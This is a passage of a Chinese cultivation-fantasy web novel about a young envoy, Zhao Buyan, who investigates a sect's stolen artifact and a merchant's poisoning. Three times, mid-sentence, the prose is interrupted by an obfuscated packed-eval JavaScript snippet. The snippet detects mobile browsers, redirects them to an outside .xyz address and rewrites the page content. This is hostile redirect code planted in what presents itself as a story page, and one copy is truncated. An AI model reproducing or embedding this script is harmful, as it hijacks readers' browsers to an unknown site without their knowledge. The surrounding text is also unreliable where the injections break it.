赵不言没有起身,甚至也没回头。她悠悠道:“舅舅,你存心气我呢?我被小人欺辱至此,只能自娱自乐,你倒过来找乐子。” 男人哈哈大笑:“若谁能把我的外甥狗惹怒,那她可算是有了通天的本事,我不仅要好好谢谢她,还得抱住大腿不放!靠山休走!” 赵不言“啧”了一声,白了舅舅一眼,“又来了,我不过是七情六欲中少了怒,天生如此,你们非要时时提点。执念入心,小心堕魔。” “好狗子,果然天生少一情,便连好歹都不知了,可叹我们为你连年奔波……” 男人忍不住絮叨,见自己的外甥狗眼一闭、头一偏装死,忍不住怒了:“若不为了你的仙途,你当我们闲得慌!你自小不知怒的滋味,等来日修行渐远,修为越高时,无法尽情体会世味人情,又如何顿悟突破?更别提修至大修士境时需要度过的种种劫难!譬如那黄粱劫该怎么过?” “打住!我才刚入道,你想得也太远了,万一我修不到高阶呢?万一我哪天嘎嘣一下提前死了呢?” 眼见对方因这几句话愤怒得如同喷气的野牛,赵不言赶紧跳起来顺毛捋舅舅。 “好啦,您老坐,今天找我,应该不是专门来吵架的吧。我嘴贱您老又不是不知道,来,喝口茶,消消气。” 男人看到举到嘴边不得不喝的茶盏,嘴边抽搐了下,终究翻过了这一页。 “话归正题,我替你领了一项任务。你暂任衔令使一职,去深目郡辖下四季山脚下正明观处,为两名练气境的小童授予仙牒。” “四季山?”赵不言摩挲着下巴想了想笑道:“哦,我想起来了,府志记载两百年前血炼坛在此作恶,由当时仙门魁首素心门弟子力挽狂澜救下当地百姓。这个正明观是由当年参与围剿恶徒的散修创立的。不错啊,这么久了,正明观还存续,竟然还有新一代弟子。” “最近十几年的府志你没有查看吧?可别小觑了这小小道观,能人辈出啊!你幼时所经历的的那场旱灾可有印象?四季山一带若非此代观主拼却性命前途不要,那可真是白骨露野、禽兽绝迹。” “难道我们青府御极关还有其他仙门没有出力吗?仅靠观主一人?不能吧?不管是按上古时期王母律还是千年前仙凡同盟的赤地誓,都约定在天灾妖祸的必要时刻凡人与仙门携手共进,抵御灾祸。”赵不言很疑惑。 老舅看着自家年方十五的小姑娘皱着眉头深思的模样,暗笑道:平时装着一副看穿世事的大人模样,到底还是阅历少,露馅了吧。 遂解惑道:“旱魃镇压在青府隅地,它出逃而大旱四起,是我们失职。神御司令其他州府御极关及仙门共组大阵,天罗地网般将青府八方围住,使旱魃困在此地不得出以防灾祸蔓延。” 男人停顿了下,语气淡淡:“然而,对我们的援助也到此为止。司使叱责,怎能因我们失误影响其他众仙门道友修行,维护天下安宁已然不易,自己惹出的祸事自己解决。” 他暗暗冷笑一下,平复情绪,才道:“只是青府何其广阔,祸事发生前,神御司以提拔人才之名调走了大批修士,我们元气还不曾恢复,而此地入驻仙门也少,人手实在不够。” “我们只能在人口众多的繁茂大城中派遣守护救助,其余稀疏远地,却是有心无力。所以当年四季山处若非正明观主劳心劳力,恐怕还真保不下来。而她明明可以参与守卫大城的任务,不仅差事更安全容易,过后论功行赏油水也足,对于她这样的仙门小户可真是泼天富贵就在眼前。” 清脆悦耳的女声接着响起:“然而我们观主才不在乎这些身外之物!观主高义!乃吾辈楷模!我愿意领任务去拜见观主!” “好好好!正该如此!仙途荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042921|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棘难行,若无启明星高悬,又怎么走得?”男人抚掌大笑,暗思道:这下自己可不用解释为何安排小言去那等偏远地方做任务了,聪明一时的小丫头片子总算被自己糊弄过去了。若被她发现是家中前辈为她卜算四季山处有她七情缘道,恐怕怎么也不会愿意去了。 “仙牒、文书、令牌早已在明镜堂傅夫人处准备好了。你收拾好自己的行囊,领了任务即刻出发吧。” “得令!”女孩双手抱拳,快活地叫道。 青府地处夏朝北部偏远处,地广人稀,辖下五郡四州。其中深目郡更为偏僻,辖下一主城四小镇,四季镇便在其中,其因最靠近四季山而得名,镇与山脚之间散落着各个小村庄。两名需要录入仙牒的小童便是出自此间四季村和黑石村。 而要去往正明观,最好走的路便是从青牛镇穿过,再进入四季镇,四季镇到四季山脚下有一条官道,虽然已经很久没有维护过,连官驿站也荒弃了,但到底比寻常山路好走。 赵不言看着手中地图,心里琢磨着路线,暗思道:不知是何缘由,青府人才从旱魃之祸后一直增长缓慢。按理来说,四季山曾出现过血炼坛这般惨绝人寰的恶事,应该加紧监护。可就因为人手不足,再加上此地已有百来年未发生怪事,关中已然放弃了此处。 据说关中的大人曾上表神御司请求中央加派人手,得来的只是一顿训斥:青苗遍地,成材极少,那是当地御极关失职!竟有脸上书!还不滚远点!天下各处哪里不需要人手监管?自家事情关起门来解决!若出了问题,要你们好看! 赵不言摇摇头,她职位低微,不好发表意见,直觉不对,又帮不上什么忙。关中也是党派林立,前段日子她就被排挤陷害,被罚了禁闭,还好家族撑腰,过了日子就能出来。她天生少怒,除了无聊觉得还好。 收下纷乱思绪,她仔细看了看附近的仙门,此次目的地是正明观,还有位于连山镇的洄水观,据说有神御司的关系。青牛镇的潮生门,从前赫赫有名的大派,沦落得快成破落户了。以及其他散落各个村镇的小门户不值一提了。 府城至深目郡主城约千余公里,她手中有墨门的法器机关马代步,约三天可到,从主城在至正明观再花一天的功夫。赵不言心算着她提前七天出发,还能余下三天逛逛深目郡。 她自小只在府城打转,没有感受过其他地方风土人情。除却自身修为低微的缘故,也是家族深知她脾气耿直好打抱不平,怕出了事,时常拘着她。 给新人入牒是最简单的任务,时间充裕,她可以光明正大地玩耍。临出发前,她恶补了下府志中关于正明观的记载,发现无论是妙清观主还是开山师祖悬月真人,都是一等一嫉恶如仇的正义人士,太合她的口味了。途中势必要精挑细选些礼物作拜访之用,以此表现自己浩荡不绝的敬仰之意、 24. 行路 “咔哒,咔哒。” 肩高七尺的机关马无疑是个庞然大物,然而因其设计巧妙,结构复杂多变,行动起来丝毫不见僵硬笨拙。如果忽略它冰冷坚硬的钢铁身躯以及空洞无一物的眼窝,凭着它的敏捷灵动,就真让人当作活物一般。 赵不言坐在马背上,捧着一袋子五香葵花籽,津津有味地嗑着。双腿随着马儿行进的律动轻轻晃着,时不时哼出一段小曲儿。 怎么看都像是有钱人家的纨绔子弟打马游玩,天真无邪的小姑娘没什么战斗力,很适合作为路匪无赖打劫勒索的目标。 这一路上,她确实遇上几波不长眼的歹徒。 赵不言看着对方凶恶的面目,以及周身若有似无萦绕着的阴惨血气,放声大笑。接着二话不说,长刀劈出,速度之迅猛,歹徒们的震惊表情还未收回,人头已然落地。 不过她还没有凶残到将恶匪全数就地斩杀,留了几个吓尿裤子的头头,给他们贴上随行符,送去当地府衙。几人如同串珠子似的,跟在机关马屁股后面僵硬呆板地走着,相较之下,本是死物的马儿还更有活气。 后面赵不言索性不走官道了,专挑偏僻难行的小路,机关马上不去,就收起法器步行。演不了富家纨绔子弟,就演为了逃难去投靠亲戚的孤女。果然又有几波匪徒上当,让她尽兴地行侠仗义。 在赵不言看来,青府治下还算清明,这些个无赖混混大多尚属普通人阶层,偶有一两个身具凡人境的能人,被她擒拿住反复审讯后,知晓是各种阴差阳错得了天缘点化才修行的。 譬如入深山打猎偶遇古早修士洞府,得了心法灵石,竟也让他自行参悟明白。再譬如前世因缘羁绊,灵物报恩斩凡尘,度了她一身灵力的。 总归背后并无势力撑腰,令人心安。 但也有令她疑惑的事情。 她从袖袋里掏出一条乌黑油亮刻满了符咒的慈木手串,反复打量。这是她搜查贼窝时翻出来的。 下品辅助法器,佩戴之可静心凝神,利于吸灵纳气,提升修炼速度。尾珠上刻着潮生门三个小字,旁边还有精妙玄奥的门派纹章。 既有了纹章,这手串的出身便做不了假。每个门派的纹章都有其独特篆刻手段和灵息,尤其是潮生门这样曾经赫赫有名的大派,其纹章据说是由开山老祖太虚境的修士雁南归雁夫人亲手设计,更不可能有人能冒充的了。 赵不言在御极关的时候见识过,印象深刻,但她总觉得这串珠子哪里不对。闭着眼睛仔细嗅闻,只有沁人心脾的淡淡木香,其中不曾蕴含一丝邪恶之气。虽是最普通常见的法器,却足以看出制作它的匠人的精心雕琢。 她将法器收回去,寻思着不知哪个匪徒搜罗过来的。可惜她手快,长刀劈死了大部分,剩下的几个根本不知道。 她决定路过青牛镇的时候拜访一下潮生门,至少请她们好好约束门下子弟。如今只是辅助法器被倒卖,不及时管教,待不肖子弟胃口越来越大,将一些攻击性法器倒卖出来,那可就遗祸民间,铸成大错了。 青牛镇 赵不言入镇前将机关马收了起来,她可不耐烦像在深目郡主城之中,与诸位长官应酬。 毕竟是御极关的人,职位再小,也有一身异于常人的本领。而赵氏一脉在青府中也算有点名气的小家族,族中子弟值得普通官员结交。 于是,她像一名在江湖闯荡的少年侠客,肩背行囊,右手提刀,一身朴素衣袍,带着点好奇与向往,走进镇子,没有引起任何人的注意。 时值正午,日头正盛,赵不言赶了半天路,肚子饿得咕咕叫。她很熟练地寻摸了一家本地人经常光顾的路边摊,要了几道当地特色菜,要一饱口福。 小镇菜肴自然比不上府城的精致,但胜在新鲜不同,赵不言品味很广泛,只要不是难吃的一口就吐,她都能津津有味地品尝出别具趣味的特色。 老板看她一个外地少年,竟也欣赏自己的手艺,不禁眉开眼笑,看她看吃完了,又端来一碗吃食。 “少侠第一次来我们青牛镇?” “嗯,第一次来,出门历练,走到哪算哪。”赵不言笑着回答。 “果然英雌出少年呀,佩服佩服。来,看你这么喜欢大娘的手艺,尝尝这道豆花羹,我最新研究的菜式,你呀帮我品品味!” 赵不言颇感兴趣地注视着面前这只光滑如镜的白瓷小碗,盛食物的器具就不是刚刚的粗瓷大碗能比较的,更别说里面的豆花如玉如雪,配上种种她不认识的香料,喷香扑鼻,令人食指大动,一看就是老板下了心血研制的。 她轻轻挑了挑眉,豆花羹她不是没吃过,但都是简单的咸卤子或者甜口的糖浆,这么复杂的做法倒是第一次见,本地特色吗? 赵不言抬头笑着说:“多谢大娘,在下年纪小,阅历少,头一次吃到这般特别的豆花羹。香料名贵,大娘为何不选择更加珍贵的食材来相配呢?这样卖的价高,客人也愿意。” 还不等老板回话,一旁相熟的食客便插嘴道:“宋嬢嬢,你还不死心啊,又在研究豆腐羹?都说了豆腐王家的配料是秘技,哪是寻常人能猜到的?” “你姥姥我做菜的手艺红遍整个青牛镇,怎么就研究不出一碗小小的豆花羹?她豆腐王再厉害也只会做个豆腐!倒是你刘老三,天天上姥姥这里打牙祭,竟还敢埋汰我!下次可甭来了!”宋嬢嬢手掐着腰,怒目圆瞪。 食客赶紧赔笑拱着手告饶。 又一人插嘴:“宋嬢嬢,你也不嫌晦气,豆腐王都出事了,你还摆弄这豆花羹作甚?” “心术不正的是人,和这菜有什么关系?什么晦气不晦气的,这鸡啊猪的冤魂都能给我这饭馆挤满了,也没见你们嫌晦气不来啊?” “嘿,你这老婆子,这能一样吗?” “有什么 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赵不言琢磨着自己没理由直接插手,不如隐藏姓名身份,以路见不平的游侠身份来一场惩恶扬善。 不过她要先去拜访潮生门,弄清慈木手串一事。至于之后会不会被泄露身份,嘿嘿,潮生门才没空理睬这些鸡毛蒜皮的小事。 俗话说,破船也有三斤钉。赵不言相信,潮生门只是暂时没落,但它所蕴含的本质是不会变的。 所以当她在距离青牛镇十几里处的山谷里找到门派入口时,沉默了。 她曾看过书中描述:潮生门驯养了两只修为将要抵达化形期的碧水金睛兽作为护山神兽。这两只神兽每旬月轮流入深海处吸取冰夜昙花丛精华,回山时则将精华吞吐于空中与护山大阵交相辉映。远远望去海中奇花在空中隐约浮现,缕缕暗香萦绕入山门者三日不绝,可谓夏朝脍炙人口的奇观之一。 可现如今,狭窄崎岖生满青苔的石阶沿着山体盘旋而上,石壁上刻着三个字——潮生门,有枯叶飘落其上,无人打扫。风瑟瑟,林萧萧,人迹渺茫。没有神兽也就算了,连最基本的护山大阵也感应不到。 若不是青府的地图在三年前更新过,她真怀疑自己找错了地方。 这潮生门连落日余晖也维持不住了吗? 出于尊敬,也为了表示自己没有冒犯之意,尽管没感到任何护山大阵的压制,赵不言依旧选择不用任何仙术,靠着双腿一步步爬上山。 快到山顶,才看到一个小童静静地在平台处等待着。看到她,周正地施了一礼,道:“真人说有贵客到,让我过来迎接。贵客辛苦,请随我来。” 赵不言松了口气,还好不是有人来了都不知道。她礼貌地回了小童一礼,道:“有劳道友。”抬头看看同样布满青苔落叶、模样萧瑟的山门,又望了望脚下凹凸不平、古旧的石板路,轻吐了一口气,跟随小童走了进去。 25. 灵闻真人 山中空气湿润,尤其清晨下过雨,层层叠叠的绿叶上雨水未干,滴答落地,粘湿了行人的裤脚,粘湿了行人的衣袍。 黏腻潮湿感在肌肤上萦绕不散,纵使赵不言在行来的路上用过净尘符清理自己,依旧感到不适。 府城的气候从未如此,天气总是晴朗而明媚的。即便短暂的下过雨,待雨霁初晴,也会有清爽的微风拂过脸颊。 远处的鸟鸣渐渐模糊,她听见了自己越来越沉重的呼吸声,像陷入一张挣不开的网。 赵不言停下了越发迟滞的脚步,不敢再动。 脚下蜿蜒曲折的小路活了过来,蛇一般地在半空扭曲翻卷。 浓重的阴影从头顶打下来,她僵硬抬头。 小路两侧的参天巨木上长了无数只眼睛,那些眼睛不断在灵活腾挪,变换位置,而不论它们轮换在哪个方向,都死死地盯着她。 密密麻麻的恐惧之中,她只觉得要心裂而死! “童儿!” 远处传来一声轻喝。 混沌高热的大脑瞬间被浸入冰水之中,赵不言立马清醒,站直了险些跪下的双腿。 前方已走远的迎客小童慌慌张张地转过身奔了回来,长长的衣袖随着她短短的胳膊不断上下飞舞,手中不知何时拿着一段翠绿的树枝。 “对不起!对不起!山门太久不曾来客,我忘记用菩提枝为你拂露了!” 小童用手中树枝轻轻扫过赵不言。 赵不言看着对方泫然欲泣的小脸上一双黑葡萄似的大眼睛扑闪扑闪,配着树枝上圆圆嫩叶的惊慌颤动,分外可爱,不禁笑出声了。 原来还是有护山大阵的,没有过往的张扬,反而隐秘了。不愧是曾经赫赫有名的仙门。 小童继续为她领路,经过这一遭她没有办法再对赵不言表现出一派风轻云淡的大人模样。反复纠结下,偷偷给客人塞了一颗松果。 赵不言好笑地看着假装无事发生的小孩,也不追问,随手塞进袖袋里。 大约走了数百米,她们来到一处叮咚水潭边。 小童道:“客人,会客堂到了。灵闻真人正在里面等你。” 赵不言有些惊讶。 作为脸面之一的会客堂,为表现门派底蕴,要么奢华大气,要么典雅大方。 而潮生门的会客堂两种皆不沾。 数棵巍巍巨木底部树干互相盘绕,组成屋身,繁茂的树冠依旧笔直刺向天空。 树身上裂开纹路处悬挂着一颗颗大小不一、温润剔透的琥珀。有的里面包裹花叶,有的包裹小昆虫。 不知名的碧绿藤蔓攀爬布满整个屋子,在琥珀的间隙处开出一朵朵颜色缤纷的小花。 野趣横生,宛如天作。 赵不言站在门口整理了下衣服,正要迈步进入,却霎时被墙身屋顶上巨大的壁画所吸引。 汹涌澎湃的长河自天际而来,倾泻入凡间,远处是大片大片墨绿的山林。 水汽蒸腾,云雾缭绕中,从山林中奔出许多奇珍异兽。 天上彩裙飘飞的仙人手执明镜,镜中空无一物。 地上的凡人伏地跪拜,神态激动。 赵不言注意到画中山林一角有几棵树颇为眼熟,再仔细看看,原来照着来时路边的乔木所画。 尤其树干上的树皮裂开的纹路,描绘得栩栩如生。刚才自己被大阵所困时,就是将这些略显怪异的纹路当成了眼睛。 整幅画作泼墨写意,技法大开大合,不在乎外在形貌,只浅浅几笔便将神韵描绘鲜活无比,画龙点睛,大家之作。 袅袅清茶香飘来,赵不言才发现自己盯着画入神太久,有些失礼,赶忙走了进去。 主座上并未有人,灵闻真人坐在左侧第一把椅子出,平静地看着自己。 刚刚的小童正将两杯刚沏好的茶端上桌子。 “青府御极关衔令使赵不言见过灵闻真人。贵派壁画实在不凡,晚辈忍不住看出神,还请真人见谅。” 灵闻真人轻提唇角,露出个几乎看不出来的微笑,淡淡道:“松童待客不周,还望客人见谅才是。” 你来我往寒暄几次,赵不言发现这位真人性情淡泊,寡言少语,遂决定少说废话,直抒胸臆,将慈木手串奉上。 灵闻真人没有敷衍,仔细查看了手串,说道:“前些日子宗门失窃,大部分法器已找回,只余这件慈木手串未被寻回,原来是流落到凡人手中,多谢小友相助。” 她让松童将手串送回库房,解释道:“至于小友觉得此件法器有所不同,说来惭愧,我亦涉猎炼器之法。只可惜学艺不精,这串慈木手串正是在下的练手之作。器物不坚,在凡人手中未得养护,沾染了浊气,才令小友疑惑。” “原来如此,多谢真人解惑。”赵不言抱拳,嘴上这样说,心里却未肯十分相信,要问她为什么,她自己也说不明白,还想再探探。 事由已解,赵不言应当告辞,但她没有动,磨磨蹭蹭地喝着茶。灵闻真人没有任何表示,也静静地喝着茶,一副随你坐多久的模样。 赵不言试图挑起话题,但每一句灵闻都不咸不淡地应着,聊得十分艰难。 一时冷场。 松童来添了三次茶水了,见客人还赖着不走,不禁奇怪地望着她。 赵不言面皮烧得慌,抬眼觑着灵闻。 灵闻依旧不说话,没有赶人的意思,没有聊天热场的意思,只陪着在座位上,甚至拿起绣绷开始绣起花了。 赵不言精神一震,找到话头了。 刚准备夸赞,就看见刚刚退下的松童又回来了。 小姑娘面容严肃,微微鞠躬,道:“启禀真人,冯宝生管事求见。” 灵闻放下绣绷,有些无奈道:“童儿,客人还在,应令管事等候。” 松童眨了眨黑葡萄似的大眼睛,无辜地看了看赵不言。 赵不言假装看不出小孩的赶客意思,十分殷勤说道:“不碍事,不碍事,晚辈年纪小见识少。此次出来除了有任务在身,也是家中长辈希望我多长见识。如果不是什么门中秘事,可否容晚辈在旁一观?” 这就很无礼了。 松童忍下翻白眼的冲动,但小嘴巴已经不知不觉地撅起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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阴阳大交替有乾坤之气笼罩,除非有特定的天时地利,比如月全食,比如积尸地,否则魑魅魍魉难起变化。 而阴阳小交替皆在人身上变化,想要作祟就容易多了。 是以夏朝丧葬,最重要的一项是停灵七日中,要有辟邪丸整日香薰尸身。便是最穷苦的人家,丧事时也会有官符免费发放辟邪丸。若有死因离奇或者死亡时间不详的,官府还会协同御极关免费帮忙收尸。 而王老爷即将死于中毒,死之前苦捱数日,恐戾气横生死后残留尸身作祟。 一般人家以辟邪丸熏满七日,将尸身火化也就可以了。 可王家认为火化是对尸体不敬,所以会找有渊源的修士帮忙祛除邪祟,让尸体入土为安。 至于潮生门和王家有什么渊源,冯管事腼腆一笑:“这个小人就真不知道了。” 赵不言含笑不语,不再询问下去。 冯管事眼睛滴溜一转,各种奉承话张口就来,试图打听赵不言的底细。 赵不言也没遮掩,直言自己的来历。她看出来了,这凡人管事不是省油的灯,她想看看冯管事能给她带来什么惊喜的事情。 白幡飘摇,王宅的牌匾下挂着黑纸扎成的花,冯管事和相熟的门房打过招呼,如入自家宅院似的,带着赵不言熟门熟路走了进去。边走边高呼:“钟期夫人!钟期夫人!有仙人驾到!” 26. 王家宅 春风的脚步似乎未度过这黑瓦白墙的庭院。 尽管南墙的角落有一丛黄半未匀的迎春在悄悄吐露生机,但赵不言依旧能感受到冷冽的气息在身旁的绿冰潭上徘徊。 潭边水榭四面开敞,赵不言低头盯着水面略有出神,该说这王家不愧是和潮生门有渊源,连待客的地方都如此相似。 衣料摩擦声窸窸窣窣,有人来了。 冯宝生站了起来,微微躬身,小声道:“令使大人,钟期夫人到了。” 面若中秋之月,色如春晓之花。 当然,这不是赵不言来形容钟期夫人的,而是形容在钟期夫人来后,又陆陆续续过来的那群莺莺燕燕的。 七个顾盼间神采飞扬的小夫人,走起路来身上环佩叮咚作响,宽大的白色孝服下,隐约露出鲜妍美丽的衣角,霎时间,便为这幽冷寂静的庭院染上一层轻盈多姿的春色。 赵不言笑眯眯地一一和这些充满好奇的小夫人打过招呼。 这不合规矩。 赵不言出入过许多凡人大户的门庭,她知道讲规矩的人家从来只有主君待客。 她不经意地用余光扫过钟期夫人,对方正靠在椅子上,静静等待着小夫人们叽喳之声平息下来。 和王老爷这些春兰秋菊、环肥燕瘦的妾室相比,钟期夫人的模样有些普通。 尤其她现在从里到外一袭素衣,更显得面容惨白,神色黯淡。 本该作为主君的她,被一众位卑之人抢了风头,也不见有何恼怒之色。 神色平静得让赵不言感到一丝熟悉。 “区区小事,竟然惊动了令使大人,实令鄙门上下不胜惶恐。”钟期夫人神色平静,语气平淡得与话语中惶恐一词丝毫不符。 “原是夫人与潮生门故人叙旧的机会,却被在下扰乱,该是本使者来赔罪。”赵不言看似道歉,却在言语间试探对方底细,同样口不对心。 冯宝生小心翼翼地左右看了看,默不作声地缩在角落里,假装自己是个会听话的花瓶。 “令使前来青牛镇应有公干,老爷尚未归冥途,怎敢耽误了大人的大事。” “夫人不必忧虑,本使者与潮生门灵闻真人一向交好,她的事就是我的事。公事不急,且待我帮了夫人这一忙再说。” 钟期夫人平静无波的面容终于起了涟漪,她惊讶地看着赵不言。 赵不言一副“包在我身上”的表情,冲她肯定地点点头。 “罢了,大人来此也是缘分,既然如此,还请大人暂到客房歇息。时候到了,再请令使大人出手。阿瑶,给大人引路。” 从钟期夫人身后袅袅娜娜地走出一位娇俏可爱的圆脸小夫人,鹿儿般的大眼睛调皮地冲赵不言眨了眨,语气轻快道:“大人,请随妾身来。” 一直假装自己不存在的冯宝生这时候突然跳出来,向钟期夫人鞠躬:“夫人,令使大人初到此地人生地不熟,贵府此时事忙,不如由小的随身伺候。” “那就辛苦冯管事了。”钟期夫人一副无可无不可的样子。 阿瑶小夫人言笑晏晏,一路上娇声俏语地跟赵不言搭话。 从令使大人一路奔波真是太辛苦了到令使大人真是器宇轩昂妾身可喜欢死了。 所遇话题无不可说,行动间眼波流转,让赵不言总觉得对方再给自己暗送秋波。 跟在身后的冯宝生更是被这位小夫人迷得晕头转向,交谈间恨不得把自己祖宗十八代都给抖落出来。 这就很奇怪。 阿瑶小夫人拿着香帕轻掩樱桃小嘴,咯咯笑着,声音清脆悦耳,丝毫不见一分悲痛之情。 赵不言试探着问:“夫人,在下初来此地时,听过路边闲谈,似乎是王老爷与人结了仇才被害得如此呀!” 阿瑶调皮地拎着香帕在赵不言脸庞挥了挥,“错了,错了,令使大人弄错了!” “旁的人只知以讹传讹,妾身可舍不得大人也被那些愚人蒙骗。” “我家老爷聪明得很,看不惯他的人从青牛镇排到府城那里去了,可没有一个人能害得了他呢!” “哦?那他是怎么到了如今的地步?还请阿瑶夫人为在下解惑则个~”赵不言微躬着身体,双手抱拳,讨巧地向着对方晃了晃。 阿瑶明显被她的这番作态哄开心了,一双眼睛亮晶晶的,纤纤素指轻轻点了点赵不言的额头。 “既然令使大人如此想知道,妾身又怎能不如实相告~” 小夫人缓慢睁大了眼睛,收起如花面容上的嘻嘻笑意,皮肉渐渐绷紧,一点点贴近赵不言的脸颊。 赵不言没有躲闪,她看着对方像变了一个人似的,那一双像鹿儿般美丽纯真的大眼睛瞳孔缩小,眼白放大,透露着恐怖的残酷,死死盯着赵不言,语气诡异,轻轻说道:“他呀,是死于自己的贪婪啊……” 冯宝生被吓住了,楞在原地。 阿瑶说完,仔细地盯了一会儿赵不言,发现对方神态平静,丝毫没被自己吓到,又咯咯的笑了起来,恢复到先前活泼可爱的模样。 “哎呦,冯管事,你胆子也太小了吧,真是一点都不如令使大人镇定。令使大人不愧是仙人之姿,妾身心向往之啊!” 阿瑶轻掩胸口,一副为赵不言倾倒的姿态。 “夫人,听说贵府曾延请多位医师为王老爷医治,只可惜都没有效果。正巧在下也略懂些医术,可否让在下为王老爷看看?”赵不言微微笑道。 “哦?令使大人贵为仙人,竟也懂得凡人的医治之法?” “无论修炼到哪一步,我赵不言都谨记自己的来路,我曾是个凡人。” “好!好!好!”阿瑶鼓掌,“难得见到不忘本的‘人’,凭你这一句,我愿意带你去见老爷。” 王老爷住的正寝有些昏暗,窗户上围着一块一块黑色的麻布,布与布之间用粗线简单的缝在一起,散落的布头随意垂下,透着一股漫不经心的懈怠。 随着门嘎吱声响起,一股浓浓的药味传了出来,陈旧、凄苦的味道盈满鼻腔,冯宝生忍不住后退几步,用衣袖捂着口鼻。 阿瑶站在门边,屋内一半阴影盖住她的脸,另一半脸在夕阳下淡黄色的余晖中反射着莹润的光芒。 鲜红的嘴角微挑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042924|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她似笑非笑,一反常态,不言不语地站着。 “冯管事身体不适,便在门外等着吧,我随阿瑶夫人进入探望王老爷。”赵不言道。 冯宝生忙不迭地连声说好,慌忙走到数米远处,仿佛躲开了此刻阴阳交替时择人而噬的的怪兽。 服侍的仆人均不见踪影,好似料定了她们的主人将入黄泉,不会再有重新起来责罚她们的机会。 赵不言走了进去。 一点莹莹豆光从阿瑶手掌中升起,她点燃了一支短短的蜡烛,轻声道:“老爷自从中了毒后,便格外厌光,因为太过明亮,晃得他心慌睡不着。令使大人莫要怪罪。” 赵不言摇摇头,表示自己不介意。 她慢慢靠近床帏处,朦胧昏暗处,一个枯瘦的老人躺在床上。 以赵不言入道后的修为,她竟然看不清老人的胸膛是否还有起伏。 生灵不死,五行不散。气息尚存,赵不言就能凭借空气中涌动的灵息判断一个人的状态。 能阻碍她的判断的,要么是对方修为比她深厚,能随意调整自身状态与环境灵力波动,要么是借用外物阻隔,比如符箓、阵法,或者某些天地灵物。 这个将死的凡人是无论如何都达不到这两点,不然也不会沦落到如此境界。 赵不言沉息静气,运起功法,经脉中灵力奔涌,一齐汇入身体五感关键所在,重新感应。 确实有异物存在,赵不言闭目侧头轻嗅。 这异物躲开了她的视觉,躲开了她的听觉,躲开了她的触觉,但躲不开她的嗅觉与味觉。 鼻腔之中,喉舌深处,她在这苦浊的混沌中,捕捉到了一丝腥甜的气味。 可这究竟是什么? 一只纤纤细手从后背接近,马上便要搭在赵不言的肩膀上了。 突然。 门外传来冯宝生嘹亮的嗓音:“令使大人,阿瑶夫人!洄水观的仙人到了!” 洄水观?连山镇的洄水观?她们怎么也掺和进来了? 赵不言转身,阿瑶夫人正在身后带着甜甜笑意望着她。 “夫人,请。”赵不言道。 阿瑶看了看她,轻轻点点头。两人一前一后走了出来。 天光更暗了,只剩一点灰蓝色的光芒依依不舍,不曾离开。 庭院中未曾点灯,人影模糊不清。 冯管事一边嘟囔着抱怨王府下人太过懒散,应该好好被整治。一边用随身携带的火折子试图点燃院中石盏中的蜡烛。 入道的修为不能提高凡目的视力,赵不言只好用灵视。 一女一男,两个修为皆在凝思凡人境的修士站在院中,见到她,行礼齐声道:“拜见令使大人。” 赵不言点点头回礼。 未等她说话,男修士抢先说道:“令使大人,我等已查清王家宅中毒一事!原是有仙门行歪门左道之法,还需御极关判罚。” “哦?”赵不言双手抱胸,斜倚在廊柱上。 “不敢蒙骗大人,正是正明观妙清那个恶徒指使。还有她那两个小贼徒弟!”男修士咬牙切齿地说道。 27. 逛街 青禾有些无奈地站在村口。 久安正在和她爹争执。 “爹!爹!我们自己去就好了!不用你跟着一起!”久安满头大汗,试图阻拦兴致高昂的老爹。 谢三求坐在牛车上,手里拿着鞭子不住地在空中挥舞,情绪亢奋。 “安丫头,爹不会给你们添麻烦的!咱们村到青牛镇旅途遥远,怎么能放任你们两个小丫头片子随便就去了呢?必定要大人跟着才放心啊!” “爹呀,师母给我们准备了符箓来赶路,就上次我带到家里的那只纸牛!哪里要辛苦你了!我们有任务在身,你就别添乱了。”久安有点生气了,两只手使劲按住谢三求的胳膊。 谢三求哪肯就范,仗着自己身形比久安高大,左右来回晃动,一点也不消停。 久安被带动着乱晃,心里发急,唯恐出发晚了,耽误行程。下意识的,她像平时修炼时那样,将灵力灌注双臂之中,企图安抚住不省心的爹。 谢三求一下子就感受到了原本女儿柔软无力的臂膀变得如钢铁般坚硬、牢固。 他挣扎了下,没从久安的铁掌下挣脱,又暗暗使劲,憋得满脸通红,额头青筋暴起,还是没法从闺女的手里逃脱。 久安乐了,万万没想到自己才修炼了不到一个月,仅仅施展灵力灌注躯体竟有如此奇效。 尤其是老爹可比自己高出了一头半,身宽快赶上两个自己了。 谢三求看着闺女呲着大白牙,喜滋滋地抬头看着自己,不禁气得暗中磨牙。 想耍当爹的威风,好生斥责不孝女一顿,又突然想起如今的久安今非昔比,不再是那个只能看着他脸色讨生活的小姑娘了。 谢三求余光瞄到一旁的青禾板着脸,抿着嘴,虽然一言不发,但明显看着不高兴的模样。不由地悻悻收了胡搅蛮缠的功力,转而打起感情牌。 他的眉尾一下子垂下来,像个丧气可怜的八字,声音也软和了,透着浓浓地失落和委屈。 “爹从小就不被你奶奶喜欢,有什么好的都要让给你二叔,忍着、让着,就这么憋憋屈屈地长大。” “就算到了现在的好日子,也时常在梦里梦见那些打落牙齿和血吞的苦日子。” 